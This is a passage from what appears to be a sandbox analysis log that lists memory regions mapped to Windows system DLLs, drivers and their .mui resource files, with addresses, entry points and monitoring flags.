monitored = 1 entry_point = 0x1b0c1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 10022 start_va = 0x1b0e0000 end_va = 0x1b0e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 10023 start_va = 0x1b0c0000 end_va = 0x1b17bfff monitored = 0 entry_point = 0x1b0fc480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 10024 start_va = 0x1b180000 end_va = 0x1b182fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 10025 start_va = 0x1b0c0000 end_va = 0x1b17bfff monitored = 0 entry_point = 0x1b0fc480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 10026 start_va = 0x1b180000 end_va = 0x1b182fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 10027 start_va = 0x1b0c0000 end_va = 0x1b0eafff monitored = 0 entry_point = 0x1b0dd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 10028 start_va = 0x1b0f0000 end_va = 0x1b0f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 10029 start_va = 0x1b0c0000 end_va = 0x1b0eafff monitored = 0 entry_point = 0x1b0dd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 10030 start_va = 0x1b0f0000 end_va = 0x1b0f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 10031 start_va = 0x1b0c0000 end_va = 0x1b0eafff monitored = 0 entry_point = 0x1b0dd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 10032 start_va = 0x1b0f0000 end_va = 0x1b0f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 10033 start_va = 0x1b0c0000 end_va = 0x1b0eafff monitored = 0 entry_point = 0x1b0dd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 10034 start_va = 0x1b0f0000 end_va = 0x1b0f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 10035 start_va = 0x1b0c0000 end_va = 0x1b0dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 10036 start_va = 0x1b0e0000 end_va = 0x1b139fff monitored = 0 entry_point = 0x1b125b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 10037 start_va = 0x1b140000 end_va = 0x1b143fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 10038 start_va = 0x1b0e0000 end_va = 0x1b139fff monitored = 0 entry_point = 0x1b125b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 10039 start_va = 0x1b140000 end_va = 0x1b143fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 10040 start_va = 0x1b0e0000 end_va = 0x1b0e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 10041 start_va = 0x1dfe0000 end_va = 0x1e0c1fff monitored = 0 entry_point = 0x1e03d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 10042 start_va = 0x1b0e0000 end_va = 0x1b0e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 10043 start_va = 0x1dfe0000 end_va = 0x1e0c1fff monitored = 0 entry_point = 0x1e03d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 10045 start_va = 0x1b0e0000 end_va = 0x1b108fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 10046 start_va = 0x1dfe0000 end_va = 0x1e0c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 10047 start_va = 0x1b0e0000 end_va = 0x1b108fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 10048 start_va = 0x1dfe0000 end_va = 0x1e0c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 10049 start_va = 0x1b0e0000 end_va = 0x1b172fff monitored = 0 entry_point = 0x1b159000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 10050 start_va = 0x1b180000 end_va = 0x1b185fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 10051 start_va = 0x1b0e0000 end_va = 0x1b172fff monitored = 0 entry_point = 0x1b159000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 10052 start_va = 0x1b180000 end_va = 0x1b185fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 10053 start_va = 0x1b0e0000 end_va = 0x1b180fff monitored = 0 entry_point = 0x1b173000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 10054 start_va = 0x1b190000 end_va = 0x1b195fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 10055 start_va = 0x1b0e0000 end_va = 0x1b180fff monitored = 0 entry_point = 0x1b173000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 10056 start_va = 0x1b190000 end_va = 0x1b195fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 10057 start_va = 0x1b0e0000 end_va = 0x1b165fff monitored = 0 entry_point = 0x1b151000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 10058 start_va = 0x1b170000 end_va = 0x1b17afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 10059 start_va = 0x1b0e0000 end_va = 0x1b165fff monitored = 0 entry_point = 0x1b151000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 10060 start_va = 0x1b170000 end_va = 0x1b17afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 10061 start_va = 0x1b0e0000 end_va = 0x1b165fff monitored = 0 entry_point = 0x1b151000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 10062 start_va = 0x1b170000 end_va = 0x1b17afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 10063 start_va = 0x1b0e0000 end_va = 0x1b165fff monitored = 0 entry_point = 0x1b151000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 10064 start_va = 0x1b170000 end_va = 0x1b17afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 10065 start_va = 0x1b0e0000 end_va = 0x1b197fff monitored = 0 entry_point = 0x1b0e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 10066 start_va = 0x1b1a0000 end_va = 0x1b1a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 10067 start_va = 0x1b0e0000 end_va = 0x1b197fff monitored = 0 entry_point = 0x1b0e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 10068 start_va = 0x1b1a0000 end_va = 0x1b1a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 10069 start_va = 0x1b0e0000 end_va = 0x1b197fff monitored = 0 entry_point = 0x1b0e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 10070 start_va = 0x1b1a0000 end_va = 0x1b1a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 10071 start_va = 0x1b0e0000 end_va = 0x1b197fff monitored = 0 entry_point = 0x1b0e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 10072 start_va = 0x1b1a0000 end_va = 0x1b1a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 10073 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10074 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10075 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10076 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10077 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10078 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10079 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10080 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10081 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10082 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10083 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10084 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10085 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10086 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10087 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10088 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10089 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10090 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10091 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10092 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10093 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10094 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10095 start_va = 0x1b0e0000 end_va = 0x1b0ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 10096 start_va = 0x1dfe0000 end_va = 0x1e0d2fff monitored = 0 entry_point = 0x1e005d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 10097 start_va = 0x1b0e0000 end_va = 0x1b0eefff monitored = 0 entry_point = 0x1b0e36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 10098 start_va = 0x1b0f0000 end_va = 0x1b0f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 10099 start_va = 0x1b0e0000 end_va = 0x1b0eefff monitored = 0 entry_point = 0x1b0e36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 10100 start_va = 0x1b0f0000 end_va = 0x1b0f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 10101 start_va = 0x1b0e0000 end_va = 0x1b0fafff monitored = 1 entry_point = 0x1b0e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 10102 start_va = 0x1b100000 end_va = 0x1b10bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 10103 start_va = 0x1b0e0000 end_va = 0x1b0fafff monitored = 1 entry_point = 0x1b0e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 10104 start_va = 0x1b100000 end_va = 0x1b10bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 10105 start_va = 0x1b0e0000 end_va = 0x1b0fafff monitored = 1 entry_point = 0x1b0e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 10106 start_va = 0x1b100000 end_va = 0x1b10bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 10107 start_va = 0x1b0e0000 end_va = 0x1b0fafff monitored = 1 entry_point = 0x1b0e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 10108 start_va = 0x1b100000 end_va = 0x1b10bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 10109 start_va = 0x1b0e0000 end_va = 0x1b0fafff monitored = 1 entry_point = 0x1b0e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 10110 start_va = 0x1b100000 end_va = 0x1b10bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 10111 start_va = 0x1b0e0000 end_va = 0x1b0fafff monitored = 1 entry_point = 0x1b0e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 10112 start_va = 0x1b100000 end_va = 0x1b10bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 10113 start_va = 0x1b0e0000 end_va = 0x1b0e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 10114 start_va = 0x1edb0000 end_va = 0x1eebefff monitored = 0 entry_point = 0x1edec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 10115 start_va = 0x1b0e0000 end_va = 0x1b0e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 10116 start_va = 0x1edb0000 end_va = 0x1eebefff monitored = 0 entry_point = 0x1edec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 10117 start_va = 0x1b0e0000 end_va = 0x1b0f5fff monitored = 0 entry_point = 0x1b0e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 10118 start_va = 0x1b100000 end_va = 0x1b101fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 10119 start_va = 0x1b0e0000 end_va = 0x1b0f5fff monitored = 0 entry_point = 0x1b0e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 10120 start_va = 0x1b100000 end_va = 0x1b101fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 10121 start_va = 0x1b0e0000 end_va = 0x1b0f5fff monitored = 0 entry_point = 0x1b0e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 10122 start_va = 0x1b100000 end_va = 0x1b101fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 10123 start_va = 0x1b0e0000 end_va = 0x1b0f5fff monitored = 0 entry_point = 0x1b0e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 10124 start_va = 